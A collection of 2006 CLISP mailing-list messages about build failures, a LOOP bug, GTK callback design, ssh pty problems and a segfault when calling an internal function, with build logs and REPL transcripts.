> > gcc -g -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-=
type -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizatio=
ns -falign-functions=3D4 -DUNICODE -DDYNAMIC_FFI -I. -I/tmp/clisp-2.41-bu=
ild -c modules.c
> > gcc -g -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-=
type -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizatio=
ns -falign-functions=3D4 -DUNICODE -DDYNAMIC_FFI -I. -x none modules.o re=
adline.o -lreadline -lncurses regexi.o regex.o calls.o -lcrypt -lm gettex=
t.o lisp.a libcharset.a libavcall.a libcallback.a -lreadline -lncurses -l=
dl -liconv -lsigsegv -o lisp.run
> > calls.o(.text+0x1225): In function `temp_name':
> > /tmp/clisp-2.41-build/syscalls/calls.c:432: the use of `tempnam' is d=
angerous, better use `mkstemp'
> > boot/lisp.run -B . -M boot/lispinit.mem -norc -q -i i18n/preload.lisp=
 -i syscalls/preload.lisp -i regexp/preload.lisp -x (saveinitmem "base/li=
spinit.mem")
> > ;; Loading file i18n/preload.lisp ...
> > ;; Loaded file i18n/preload.lisp
> > ;; Loading file syscalls/preload.lisp ...
> > ;; Loaded file syscalls/preload.lisp
> > ;; Loading file regexp/preload.lisp ...
> > ;; Loaded file regexp/preload.lisp
> > 1729784 ;
> > 523832
> > base/lisp.run -B . -M base/lispinit.mem -norc -q -i i18n/i18n -i sysc=
alls/posix -i regexp/regexp -i readline/readline -x (saveinitmem "base/li=
spinit.mem")
> ...
> > *** - FUNCALL: undefined function |module__readline__constant_map_int=
|
>=20
> module__readline__constant_map_int should be defined in=20
> build/readline/readline.c
> please check it.
> please also check if build/readline/readline.o is indeed in base/lisp.r=
un.

They are present, both when compiled in the src directory or with --buid:

[pjb@thalassa readline]$ ( cat readline.c ; nm readline.o ) | grep consta=
nt_map_int=20
int module__readline__constant_map_int (int number, int *definedp);
int module__readline__constant_map_int (int number, int *definedp) {
00000000 T module__readline__constant_map_int
[pjb@thalassa readline]$ pwd
/local/src/languages/clisp/clisp-2.41/src/readline
=20

[pjb@thalassa clisp-2.41]$ cd /tmp/clisp-2.41-build/readline/
You have new mail in /var/spool/mail/pjb
[pjb@thalassa readline]$ ( cat readline.c ; nm readline.o ) | grep consta=
nt_map_int=20
int module__readline__constant_map_int (int number, int *definedp);
int module__readline__constant_map_int (int number, int *definedp) {
00000000 T module__readline__constant_map_int
[pjb@thalassa readline]$=20


--=20
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> * Pascal Bourguignon <cwo@vasbezngvzntb.pbz> [2006-11-03 02:27:13 +0100]:
>
>> > *** - FUNCALL: undefined function |module__readline__constant_map_int|
>> 
>> module__readline__constant_map_int should be defined in 
>> build/readline/readline.c
>> please check it.
>> please also check if build/readline/readline.o is indeed in base/lisp.run.
>
> They are present, both when compiled in the src directory or with --buid:
>
> [pjb@thalassa readline]$ ( cat readline.c ; nm readline.o ) | grep constant_map_int 
> int module__readline__constant_map_int (int number, int *definedp);
> int module__readline__constant_map_int (int number, int *definedp) {
> 00000000 T module__readline__constant_map_int

ok, this is wrong.

$ grep module__readline__constant_map_int readline/readline.c
int module__readline__constant_map_int (int number, int *definedp);
int module__readline__constant_map_int (int number, int *definedp) {
  register_foreign_function((void*)&module__readline__constant_map_int,"module__readline__constant_map_int",1024);

module__readline__constant_map_int must be also registered, and it is
not.
why?


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Hi,
>> 3. why is the window not destroyed/unmapped after I choose=20
>>Menu > File > Exit in Gnome (Ubuntu Dapper)? =20
>WFM:
>./clisp -q -norc -K full -x '(gtk:gui "gtk2/ui.glade")'
I did full/lisp.run -M full/lispinit.mem and worked from the REPL.
With -x, I don't expect you to see the symptom, since the window will
be teared down when clisp exits.

>> 4. Did anybody ever see a clean-up callback called?
>no.
>in what situation should it be called?

Excellent question.
I'd really like to see that specified in the GTK docs.

My expectation is that GTK does resource management.  As such, it must =
call
user-supplied finalizers (aka destroyers).  When does that happen?
E.g., if a callback where linked to a widget, I'd expect the callback =
finalizer
be called when the widget is irremediably destroyed.  If a signal =
callback does
not somehow "belong" to a widget, but perhaps to 2 objects, then the =
situation
is more complicated.

I haven't observed clean-up in the glade demo. Quite to the contrary,
gtk::*callback-funcs* grows and grows.

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	J=F6rg H=F6hle.


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No such bug in clisp 2.30 four years ago.

$ clisp -q -ansi

[1]> (lisp-implementation-version)
"2.30 (released 2002-09-15) (built 3311025230) (memory 3311025634)"
[2]> (let ((vars '(1 2 3 4))) (loop for i from 0 to 10 for vars on vars do (print vars)))

(1 2 3 4) 
(2 3 4) 
(3 4) 
(4) 
NIL
[3]> 

$ clisp -q -ansi
STACK depth: 16359
SP depth: 67214888
[1]> (lisp-implementation-version)
"2.38 (2006-01-24) (built 3352986545) (memory 3352991378)"
[2]> (let ((vars '(1 2 3 4))) (loop for i from 0 to 10 for vars on vars do (print vars)))
NIL
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> * Tomas Zellerin <mryyreva@tznvy.pbz> [2006-10-27 09:07:13 +0200]:
>
> (let ((vars '(1 2 3 4)))
>    (loop for i from 0 to 10 for vars on vars do (print vars)))
> => nil

this appears to be a long standing bug.
please file a bug report on SF so that it is not lost.
thanks.


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Sam Steingold wrote:
>you are right, the code is not portable de jure.
>OTOH, it is portable de facto, and I see no reason not to support it.
IMHO we lack evidence for this statement.
o There's an unknown number of implementations that pass the Ironclad
tests.  Which ones?
o Which implementation documents that particular behaviour?
o Ironclad only contains two uses of the offending code.  How
representative is that?
o My understanding is that you said that current clisp generates
different code depending on whether other clauses precede "for vars on
vars".(! not so great)  Other implementations may vary similarly and
just pass the Ironclad tests by chance.  How often is this tested?

The impressive document at
http://common-lisp.net/project/cl-containers/asdf-status/website-output
lists CLISP+Ironclad in blue (means success).  Obviously, that's only
compilation tests, not the testsuite.


BTW, I've sent a Darcs patch to Nathan Froyd, Tomas and the Ironclad
Debian maintainer.  It was also sent to the clisp-list, but rejected.
E-Mail me if you're interested.
Maybe I should just include the patch literally for the clist-archives?

BTW, Tomas mentioned another problem with Ironclad+CLISP about FINALLY.
I'd like to hear about that.  My patch makes clisp-2.38 (Dapper Ubuntu
Debian) pass all tests (I erroneously reported using 2.41-CVS in
previous mail).  Which does not exclude the possibility for yet another
use of unspecified LOOP behaviour w.r.t. FINALLY in the code.

Regards,
	Jorg Hohle


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Hoehle, Joerg-Cyril wrote:
> Sam Steingold wrote:
>> you are right, the code is not portable de jure.
>> OTOH, it is portable de facto, and I see no reason not to support it.
> IMHO we lack evidence for this statement.

I tried
let ((vars '(1 2 3 4))) (loop for i from 0 to 10 for vars on vars do 
(print vars)))
on allegro, gcl, cmucl, sbcl.

> BTW, I've sent a Darcs patch to Nathan Froyd, Tomas and the Ironclad
> Debian maintainer.  It was also sent to the clisp-list, but rejected.

you are the mailing list admin.
you can approve or reject your own message.
(note that attachments are banned only on the open list clisp-list, not 
on the member-only clisp-devel).

> E-Mail me if you're interested.
> Maybe I should just include the patch literally for the clist-archives?

is it a clisp patch?

Sam.




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Hi,

>you are the mailing list admin.
>you can approve or reject your own message.
I indeed did that, but it was not enough. It still received a bounce, =
saying:
The message's content type was not explicitly allowed

>is it a clisp patch?
No, a patch to Ironclad. But it'll only interest CLISP users. And only =
as long as its not yet incorporated.

Regards,
	J=F6rg H=F6hle.


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Tomas Zellerin wrote:
>> just open "modules/gtk2/ui.glade" in glade and add callbacks.
>> gtk:gui will do all the necessary magic.

>I think I see. I just did not believe that simple writing lisp into
>callbacks could work.

You can deduce that the module or more specifically, the GTK interaction
API with Lisp is still experimental.  IMHO, writing Lisp code into a
Glade XML file is not TRT.

I'd very much prefer something which preserves lexical scoping: this is
really valuable, since the callbacks for now don't provide local context
and integrates nicely into Lisp.  The current way of possibly passing
args via the symbol gtk::args and READ-FROM-STRING is, well, not ideal.

Over ten years ago, I've advocated separating the GUI look from the
application, and haven't changed opinion since.  Externally manipulable
representations of the layout are one path in that direction, and that's
why I like the separate UI description idea approach that Glade
implements, even though I can't comment on its details.

I think there's a need for a good mapping between the XML signal string
information and Lisp code.  Maybe just a combination of resolver
function and alist?

(defun my-gui
  (flet ((about #)
         (wclose (widget) (gtk_destroy widget))
         ...)
    (instantiate-gui glade-path-to-xml
      `(("open-about" . ,#'about)
        ("close-main" . ,#'wclose)))))
well, that's certainly not enough since one would like to access some
widgets via a local variable ...

BTW, there are several other GTK bindings out there.  Maybe this one
should not be too different from the others -- should they (unlikely)
resemble each other.

Regards,
	Jorg Hohle.


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On 11/3/06, Hoehle, Joerg-Cyril <Joerg-Cyril.Hoehle@t-systems.com> wrote:
> BTW, Tomas mentioned another problem with Ironclad+CLISP about FINALLY.
> I'd like to hear about that.  My patch makes clisp-2.38 (Dapper Ubuntu
> Debian) pass all tests (I erroneously reported using 2.41-CVS in
> previous mail).  Which does not exclude the possibility for yet another
> use of unspecified LOOP behaviour w.r.t. FINALLY in the code.
>

The "finally" problem is the one that is fixed in clisp 2.34 and that
one was originally mentioned in cliki, if this is what you are talking
about. So a historical one. I could dig up details if you really want.

Tomas


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Hello All,
I have a problem with the following lines, which occurs in the 
make-queue code in section 10.5:
[1]> (setf q (cons nil nil))
(NIL)
[2]> (setf (car q) q)

*** - Lisp stack overflow. RESET
[3]>
Is this a (possibly known) bug in clisp?
This code is useable with allegro lisp 8.0.
Following is the output of clisp --version:
$ clisp --version
GNU CLISP 2.41 (2006-10-13) (built on reini [192.168.1.3])
Software: GNU C 3.4.4 (cygming special) (gdc 0.12, using dmd 0.125)
gcc -O2 -pipe  -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit 
-Wreturn-type -W
missing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations 
-falign-fun
ctions=4 -DUNICODE -DDYNAMIC_FFI -I. -Wl,--enable-auto-image-base  -x 
none -lint
l -liconv libcharset.a libavcall.a libcallback.a -lreadline -lncurses 
-L/usr/lib
 -lsigsegv -L/usr/X11R6/lib
SAFETY=0 HEAPCODES STANDARD_HEAPCODES SPVW_PAGES SPVW_MIXED
libiconv 1.11
libreadline 5.1
Features:
(READLINE REGEXP SYSCALLS I18N LOOP COMPILER CLOS MOP CLISP ANSI-CL 
COMMON-LISP
 LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI
 GETTEXT UNICODE BASE-CHAR=CHARACTER PC386 UNIX CYGWIN)
C Modules: (clisp i18n syscalls regexp readline)
Installation directory: /usr/lib/clisp/
User language: ENGLISH
Machine: I686 (I686) madriverglen [192.168.2.168]

Regards,
Dan Stanger


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Thanks,
That solves the problem.
Regards,
Dan Stanger
Devon Sean McCullough wrote:

>Try (setf *print-circle* t)
>
>		Peace
>			--Devon
>	 /~\
>	 \ /	Health Care
>	  X 	not warfare
>	 / \
>
>	Dubya won the digital vote
>	Kerry won the popular vote
>
>Date: Mon, 06 Nov 2006 20:20:47 -0500
>From: Dan Stanger <dan.stanger@ieee.org>
>In-reply-to: <4548C3C1.7050507@gnu.org>
>To: clisp-list@lists.sourceforge.net
>Subject: [clisp-list] Problem with code from Paradigms of AI Programming
>	(PAIP)
>Reply-To: dan.stanger@ieee.org
>
>Hello All,
>I have a problem with the following lines, which occurs in the 
>make-queue code in section 10.5:
>[1]> (setf q (cons nil nil))
>(NIL)
>[2]> (setf (car q) q)
>
>*** - Lisp stack overflow. RESET
>[3]>
>Is this a (possibly known) bug in clisp?
>This code is useable with allegro lisp 8.0.
>Following is the output of clisp --version:
>$ clisp --version
>GNU CLISP 2.41 (2006-10-13) (built on reini [192.168.1.3])
>Software: GNU C 3.4.4 (cygming special) (gdc 0.12, using dmd 0.125)
>gcc -O2 -pipe  -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit 
>-Wreturn-type -W
>missing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations 
>-falign-fun
>ctions=4 -DUNICODE -DDYNAMIC_FFI -I. -Wl,--enable-auto-image-base  -x 
>none -lint
>l -liconv libcharset.a libavcall.a libcallback.a -lreadline -lncurses 
>-L/usr/lib
> -lsigsegv -L/usr/X11R6/lib
>SAFETY=0 HEAPCODES STANDARD_HEAPCODES SPVW_PAGES SPVW_MIXED
>libiconv 1.11
>libreadline 5.1
>Features:
>(READLINE REGEXP SYSCALLS I18N LOOP COMPILER CLOS MOP CLISP ANSI-CL 
>COMMON-LISP
> LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI
> GETTEXT UNICODE BASE-CHAR=CHARACTER PC386 UNIX CYGWIN)
>C Modules: (clisp i18n syscalls regexp readline)
>Installation directory: /usr/lib/clisp/
>User language: ENGLISH
>Machine: I686 (I686) madriverglen [192.168.2.168]
>
>Regards,
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Dan Stanger wrote:
> Hello All,
> I have a problem with the following lines, which occurs in the 
> make-queue code in section 10.5:
> [1]> (setf q (cons nil nil))
> (NIL)
> [2]> (setf (car q) q)
> 
> *** - Lisp stack overflow. RESET
> [3]>
> Is this a (possibly known) bug in clisp?

http://clisp.cons.org/impnotes/faq.html#faq-stack



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When clisp is invoked thru bare ssh, it fails.   We need to use the -t
option to ssh to force pseudo-tty allocation for clisp.  I see no good
reason why clisp couldn't detect that it isn't connected to a pty and
avoid to use an unapplyable API, after all, it does it right with
files and pipes:

#   (not localhost)
$ ssh janus-1 clisp --version
stty: standard input: Invalid argument
GNU CLISP 2.39 (2006-07-16) (built 3365477833) (memory 3365480464)
Software: GNU C 3.3 20030226 (prerelease) (SuSE Linux)=20
gcc -g -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type=
 -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations -=
falign-functions=3D4 -DUNICODE -DDYNAMIC_FFI -I. -x none libcharset.a lib=
avcall.a libcallback.a -lreadline -lncurses -ldl   -lsigsegv -L/usr/X11R6=
/lib
SAFETY=3D0 HEAPCODES LINUX_NOEXEC_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS S=
PVW_MIXED TRIVIALMAP_MEMORY
libsigsegv 2.2
libreadline 4.3
Features:=20
(READLINE REGEXP SYSCALLS I18N LOOP COMPILER CLOS MOP CLISP ANSI-CL COMMO=
N-LISP LISP=3DCL INTERPRETER
 SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI GETTEXT UNICODE BAS=
E-CHAR=3DCHARACTER PC386
 UNIX)
C Modules: (clisp i18n syscalls regexp readline)
Installation directory: /usr/local/languages/clisp-2.39-pjb1-regexp/lib/c=
lisp/
User language: ENGLISH
Machine: I686 (I686) janus-1.janus.afaa.asso.fr [195.114.85.145]
[1]>=20
*** - UNIX error 14 (EFAULT): Bad address

(ext:quit)

[pjb@thalassa httpd]$ ssh -t janus-1 clisp --version
GNU CLISP 2.30 (released 2002-09-15) (built on bragg.suse.de [127.0.0.2])
Features:=20
(CLOS LOOP COMPILER CLISP ANSI-CL COMMON-LISP LISP=3DCL INTERPRETER SOCKE=
TS
 GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI UNICODE BASE-CHAR=3DCHARACT=
ER
 SYSCALLS PC386 UNIX)
Connection to janus-1 closed.

[pjb@thalassa httpd]$ ls -l | clisp --version 2> /tmp/errs | cat
GNU CLISP 2.39 (2006-07-16) (built 3364813332) (memory 3364813914)
Software: GNU C 3.3 20030226 (prerelease) (SuSE Linux)=20
gcc -g -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type=
 -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations -=
falign-functions=3D4 -DUNICODE -DDYNAMIC_FFI -I. -x none libcharset.a lib=
avcall.a libcallback.a -lreadline -lncurses -ldl   -lsigsegv -L/usr/X11R6=
/lib
SAFETY=3D0 HEAPCODES LINUX_NOEXEC_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS S=
PVW_MIXED TRIVIALMAP_MEMORY
libsigsegv 2.4
libreadline 4.3
Features:=20
(READLINE REGEXP SYSCALLS I18N LOOP COMPILER CLOS MOP CLISP ANSI-CL COMMO=
N-LISP
 LISP=3DCL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN F=
FI
 GETTEXT UNICODE BASE-CHAR=3DCHARACTER PC386 UNIX)
C Modules: (clisp i18n syscalls regexp readline)
Installation directory: /usr/local/languages/clisp-2.39-pjb1-regexp/lib/c=
lisp/
User language: ENGLISH
Machine: I686 (I686) thalassa.informatimago.com [62.93.174.79]


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Pascal Bourguignon wrote:
> When clisp is invoked thru bare ssh, it fails.   We need to use the -t
> option to ssh to force pseudo-tty allocation for clisp.  I see no good
> reason why clisp couldn't detect that it isn't connected to a pty and
> avoid to use an unapplyable API, after all, it does it right with
> files and pipes:

yeah, this sucks.
I have no time for this right now, so please file a bug report on SF and 
hope for the best.
of course, http://www.cygwin.com/acronyms/#PTC

thanks.

Sam.


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Two little unimportant problems:

- it would be nice if the banner included the version (so I wouldn't
  have to do anything to mention the version in bug reports ;-))

- system::%make-structure given a non-type segfaults.=20
  It would be nice if it raised a condition (or just returned nil) instea=
d.


[pjb@thalassa pjb]$ clisp -ansi -norc
  i i i i i i i       ooooo    o        ooooooo   ooooo   ooooo
  I I I I I I I      8     8   8           8     8     o  8    8
  I  \ `+' /  I      8         8           8     8        8    8
   \  `-+-'  /       8         8           8      ooooo   8oooo
    `-__|__-'        8         8           8           8  8
        |            8     o   8           8     o     8  8
  ------+------       ooooo    8oooooo  ooo8ooo   ooooo   8

Copyright (c) Bruno Haible, Michael Stoll 1992, 1993
Copyright (c) Bruno Haible, Marcus Daniels 1994-1997
Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998
Copyright (c) Bruno Haible, Sam Steingold 1999-2000
Copyright (c) Sam Steingold, Bruno Haible 2001-2006

[1]> (system::%make-structure 'foo 1)

*** - handle_fault error2 ! address =3D 0x60032 not in [0x20252004,0x203b=
3ac4) !
SIGSEGV cannot be cured. Fault address =3D 0x60032.
Permanently allocated: 91520 bytes.
Currently in use: 1929040 bytes.
Free space: 506240 bytes.
Segmentation fault
[pjb@thalassa pjb]$=20



Shall I add a bugreport entry in sf.net?

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Hi Sam,
Is there a section of the clisp web site dedicated to issues running 
code from books?
If not, I could write a page for it.
BTW, I am scheduled to take the programming test at ITA next friday,
and interview the week after that.
Regards,
Dan
Sam Steingold wrote:

> Dan Stanger wrote:
>
>> Hello All,
>> I have a problem with the following lines, which occurs in the 
>> make-queue code in section 10.5:
>> [1]> (setf q (cons nil nil))
>> (NIL)
>> [2]> (setf (car q) q)
>>
>> *** - Lisp stack overflow. RESET
>> [3]>
>> Is this a (possibly known) bug in clisp?
>
>
> http://clisp.cons.org/impnotes/faq.html#faq-stack
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>
>



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> * Dan Stanger <qna.fgnatre@vrrr.bet> [2006-11-07 20:03:35 -0500]:
>
> Is there a section of the clisp web site dedicated to issues running
> code from books?

No.

> If not, I could write a page for it.

I think it would be more useful to add a section on that to the FAQ.
It will make it easier to refer from it to the impnotes.

> BTW, I am scheduled to take the programming test at ITA next friday,
> and interview the week after that.

Good luck! (are you sure you wanted to tell that to the whole list? :-)


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> * Pascal Bourguignon <cwo@vasbezngvzntb.pbz> [2006-11-08 01:31:45 +0100]:
>
> Two little unimportant problems:
>
> - it would be nice if the banner included the version (so I wouldn't
>   have to do anything to mention the version in bug reports ;-))

how about it also checking if a new version is available and nagging you
to upgrade?

> - system::%make-structure given a non-type segfaults.
>   It would be nice if it raised a condition (or just returned nil) instead.

you are not supposed to call this function yourself.
not only it is an internal (!) symbol in the SYSTEM (!) package, its
name also starts with %.
there are many ways to crash CLISP if you permit calling SYS::%... with
arbitrary arguments.
e.g., you can modify the internals of various objects, writing numbers
in slots where CLISP expects lists &c.
CLISP checks the arguments it passes to SYSTEM::%MAKE-STRUCTURE, and
users are not supposed to call it, so checking the arguments is not
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On 2006 Nov 7, at 8:58 PM, Sam Steingold wrote:
>> * Pascal Bourguignon <cwo@vasbezngvzntb.pbz> [2006-11-08 01:31:45  
>> +0100]:
>>
>> Two little unimportant problems:
>>
>> - it would be nice if the banner included the version (so I wouldn't
>>   have to do anything to mention the version in bug reports ;-))
>
> how about it also checking if a new version is available and  
> nagging you
> to upgrade?

How about not. Just automatically printing the actual version is fine.
Someone put salt in your tea today?

> I don't have an attitude problem. You have a perception problem.

Yeah, love those "random" sigs. :-)

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P.S. Thanks again for everyone who make the 2.41 cygwin lisp work!!



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On 11/7/06, Douglas Philips <dgou@mac.com> wrote:
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> >
> > how about it also checking if a new version is available and
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>
> How about not. Just automatically printing the actual version is fine.

Alternatively, allow the availability check to be requested explicitly or
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Sam Steingold writes:
> > - system::%make-structure given a non-type segfaults.
> >   It would be nice if it raised a condition (or just returned nil) in=
stead.
>=20
> you are not supposed to call this function yourself.
> not only it is an internal (!) symbol in the SYSTEM (!) package, its
> name also starts with %.
> there are many ways to crash CLISP if you permit calling SYS::%... with
> arbitrary arguments.
> e.g., you can modify the internals of various objects, writing numbers
> in slots where CLISP expects lists &c.
> CLISP checks the arguments it passes to SYSTEM::%MAKE-STRUCTURE, and
> users are not supposed to call it, so checking the arguments is not
> necessary.

This was reported to me via irc by somebody else. =20

I totally agree that calling anything from SYS, and the more so when
the name not exported and is prefixed by %, one shouldn't be surprised
to get any kind of misbehavior (including sigseg).


Nonetheless, I'd consider it a factor of quality of the
implementation, if no action whatsoever could ever "crash" it.


--=20
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Pascal Bourguignon wrote:

> - it would be nice if the banner included the version (so I wouldn't
>   have to do anything to mention the version in bug reports ;-))
I don't want full --version output there.  I hate it when programs start
and output a screen full of output.
But if there's not the full --version output, but e.g. only version
number, your bug report would be incomplete and you still need to
include more information.
Hmm, maybe I should just switch to using -q?

I agree that just a short form version number might still be useful.
Possibly as a reminder to upgrade ;)
	ssh janus-1 ... 2.30 -- oops
Or useful as well as a reminder of things not present in that particular
version
of clisp, e.g. "oh, that's 2.35, it did not have feature xyz".
-- Useful for people hopping from machine to machine.


>> > - system::%make-structure given a non-type segfaults.
>Nonetheless, I'd consider it a factor of quality of the
>implementation, if no action whatsoever could ever "crash" it.
There's a line to draw somewhere.  One could e.g. force bytecodes in a
hope to crash the machine, or create weird stack frames or some such.
You're asking for safety, and people often enough ask for speed -- both
at the same time?
I'm asking for readability of the source code.  More checks tend to work
against that.

In a layered setup, you'd expect the outermost layers to do plenty of
checks, while the inner ones assume valid data.  I have no idea where
sys::%make-structure belongs.  Does it result from macroexpansion of
some standard CL function?
Only in particular scenarios would one expect *every* layer to be secure
against malicious input.  E.g. the JVM comes to mind.  Java initially
started with a stong focus towards security.

A typical requirement for a secure system is that no code shall be
present that can not be called during mission.  If some inner layer code
has input checks that are impossible to trigger because the outer layers
already ensure correct data, then such code MUST be removed.  (hm, where
did I learn about this?)

I can remember that Bruno Haible once proudly told me that bold crash
attempts like (loop for s in (list-all-packages) when (fboundp s) do
(setf (symbol-function s) nil) did not manage to crash CLISP, while some
other implementation crashed.
We tend to play games like that then and now.

Look at the source code.  There are already plenty of checks.
Yet almost no test tests these tests. :-(
Maybe your %make-structure example just hits a broken check?
I welcome additions to the testsuite to add lots of tests of error
situations.

I also welcome patches to add even more error checks.  But these have to
be carefully considered for their performance impact and other costs.
Of course, people may argue that clisp is plenty slow already due to too
many checks and run-time dispatch (have you ever looked at what #<subr
+> does before it eventually adds two fixnums?).

Regards,
	Jorg Hohle


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Hi,

[I'm taking this to clisp-list since 1. that's where most discussions =
about gtk take place right now, 2. it's open without prior subscription =
and 3. the def-call-in issue is of general interest.]

Jim Bailey wrote:
>There is no gtk_cleanup() in gtk, that is the name of the function we
>should be making available as a c callback (the name is not important,
>maybe it could be made more obvious that it is a clisp side thing,
>maybe gtk-cleanup-callback).

>My use of def-call-in is probably wrong, I just wanted a lisp function
>that I could pass as a function pointer to g_signal_connect_data, and
>not incur any memory allocation each time I did this. I presume that
>what I should have done is just write a normal lisp function and use
>that.
Indeed, there's some harmless misconception. See below.

> Will the ffi reuse the same generated stub for a function (as
>opposed to a closure), or is there some otherway of allocating a
>function pointer just once?
A Lisp function (as opposed to closure)'s callback will be reused while =
the foreign type declaration remains EQ.  That's a big difference with =
closures.


Indeed there's a misconception about use of def-call-in present in the =
code, both in gtk-cleanup and gtk-callback-N.
DEF-CALL-IN generates nice small C stubs to invoke a Lisp function (with =
lower overhead than a regular FFI call).
Alas, these stubs are not used in gtk.lisp!  When the Lisp code passes =
#'gtk-cleanup or #',cb-name to a foreign function, it's an FFI generated =
trampoline that is created to call the Lisp function -- much like the =
already existing stub would do.

I.e. def-call-in is currently superfluous.


Alternatively, the C functions could be declared both DEF-CALL-IN and =
DEF-CALL-OUT!  call-in: The former generates the stub,
call-out: the latter makes the stub accessible as a *unique* =
#<FOREIGN-FUNCTION> object on the Lisp side.  Then gtk.lisp can call =
e.g. gtk-connect and pass this function pointer, without ever creating =
another callback object.  The callback is already in the gtk.c file, =
created from the call-in definition.

Advantages:
a) passing a #<FOREIGN-FUNCTION> is faster than going through the =
"lookup (or possibly create) callback object for this Lisp function" =
code.
b) the generated stub is faster at calling the Lisp function than the =
callback.  The stub does hardly use the FFI, while the callback needs =
all of ffcall's trampoline, vacall and the foreign type must be parsed =
at run-time.

The automatically generated stub may look like this:
int stub (int foo);
{
   begin_callback(); // also in trampoline
   pushSTACK(int2I(foo));
   lret =3D funcall(lisp_function,1); // call with one argument
   cret =3D I2int(lret);
   end_callback();
   return cret;
}
The overhead of interpretation of the foreign function type has been =
eliminated via direct compilation. (Actually, the current situation is =
not that ideal: the stub  calls instead =
pushSTACK(convert_from_foreign(`ffi::int`)) instead of int2I(), and =
vice-versa.
Sam Steingold would say: of course, http://www.cygwin.com/acronyms/#PTC

Impnotes does not explain that DEF-CALL-IN creates a C stub of the given =
name during file-compilation.  That would be valuable information.

Summary: gtk.lisp should use
 (def-call-in callback0 (:name "gtk_lisp_callback0")) ; create C stub
 (def-call-out gtk-callback-0-arg (:name "gtk_lisp_callback0")) ; obtain =
Lisp handle to that C stub
and pass #'gtk-callback-0-arg (a #<FOREIGN-FUNCTION, not a pure Lisp =
function) to gtk_signal_connect.
It should *not* pass #'callback0 (a regular Lisp function). While this =
works (this is what's currently done in gtk.lisp, after all), it a) does =
not use the call-in and b) has more run-time overhead.


BTW, I'm still not happy with the callback situation in the module.  A =
priori, the callbacks can take either scalar or pointer arguments, and =
return similarly.  The current code does not handle that.  I've read =
python-gtk can handle all forms.  There's no reason Lisp cannot, but =
I've yet to find good documentation on the gtk callback mechanism and =
the meaning and use of the different slots of the SignalQuery structure =
etc. or the source to python-gtk (or tcl-gtk or whatever).

Regards,
	J=F6rg H=F6hle.


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Pascal Bourguignon wrote:
> Nonetheless, I'd consider it a factor of quality of the
> implementation, if no action whatsoever could ever "crash" it.

IMO, this seems like a lot to ask and will slow down the whole system. 
Asking for *EVERY* function that somebody could potentially call to do 
all manner of consistency checking to avoid a crash doesn't seem like a 
good way to make a system.

If you want to argue that any user-level function should not cause the 
implementation to crash, then I agree with you, but an implementation is 
going to need a private API and forcing all the error checking into the 
lowest levels of that API will make it slow.

It seems to me the CLISP developers have done a reasonable job of 
separating the user-level interface from the implementation level 
interface. Appropriate naming conventions signal when you're playing 
with fire and may get burned. Appropriate warns have been issued, etc.

-- Dave



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Hoehle, Joerg-Cyril wrote:
> Pascal Bourguignon wrote:
> 
>> - it would be nice if the banner included the version (so I wouldn't
>>   have to do anything to mention the version in bug reports ;-))
> I don't want full --version output there.  I hate it when programs start
> and output a screen full of output.

yes, clisp banner is already big enough.

> But if there's not the full --version output, but e.g. only version
> number, your bug report would be incomplete and you still need to
> include more information.

_yes_!

> Look at the source code.  There are already plenty of checks.
> Yet almost no test tests these tests. :-(
> Maybe your %make-structure example just hits a broken check?
> I welcome additions to the testsuite to add lots of tests of error
> situations.
> 
> I also welcome patches to add even more error checks.  But these have to
> be carefully considered for their performance impact and other costs.
> Of course, people may argue that clisp is plenty slow already due to too
> many checks and run-time dispatch (have you ever looked at what #<subr
> +> does before it eventually adds two fixnums?).

agreed.

Sam.


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On Wednesday, November 08, 2006, at 12:05PM, "Sam Steingold" <sds@gnu.org> indited:
>Hoehle, Joerg-Cyril wrote:
>> Pascal Bourguignon wrote:
>>> - it would be nice if the banner included the version (so I wouldn't
>>>   have to do anything to mention the version in bug reports ;-))
>> I don't want full --version output there.  I hate it when programs start
>> and output a screen full of output.
>yes, clisp banner is already big enough.

Right, so let's not add anything actually both useful _and_ small.

>> But if there's not the full --version output, but e.g. only version
>> number, your bug report would be incomplete and you still need to
>> include more information.
>
>_yes_!

What one needs to report for debugging is always going to be mondo verbose.
And I do _not_ want to see that when I start any program.
Of course, I really don't need to see the full ascii art everytime I start CLISP to know that I've started CLISP.
It +would+ be very helpful to know which version I have started, however.
Look at what, oh, say, Python, to pick another popular language, prints when you start it interactively:

             Python 2.4.2 (#1, Mar  2 2006, 14:17:22) 
             [GCC 3.3.5 (propolice)] on openbsd3
             Type "help", "copyright", "credits" or "license" for more information.

So, while I have a different motive here than the, ahem, original poster, I don't see how adding a short version string (2.41.<whatever>)
is such a big deal. It is not like "we" are asking for the numbers to spelled out in 8 line high axey art. Sheesh.

--Doug



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Dave Roberts writes:
> Pascal Bourguignon wrote:
> > Nonetheless, I'd consider it a factor of quality of the
> > implementation, if no action whatsoever could ever "crash" it.
>=20
> IMO, this seems like a lot to ask and will slow down the whole system.=20
> Asking for *EVERY* function that somebody could potentially call to do=20
> all manner of consistency checking to avoid a crash doesn't seem like a=
=20
> good way to make a system.
>=20
> If you want to argue that any user-level function should not cause the=20
> implementation to crash, then I agree with you, but an implementation i=
s=20
> going to need a private API and forcing all the error checking into the=
=20
> lowest levels of that API will make it slow.

There are always "users" of any layer, whatever its level.


For example, one could want to write a compiler for another language
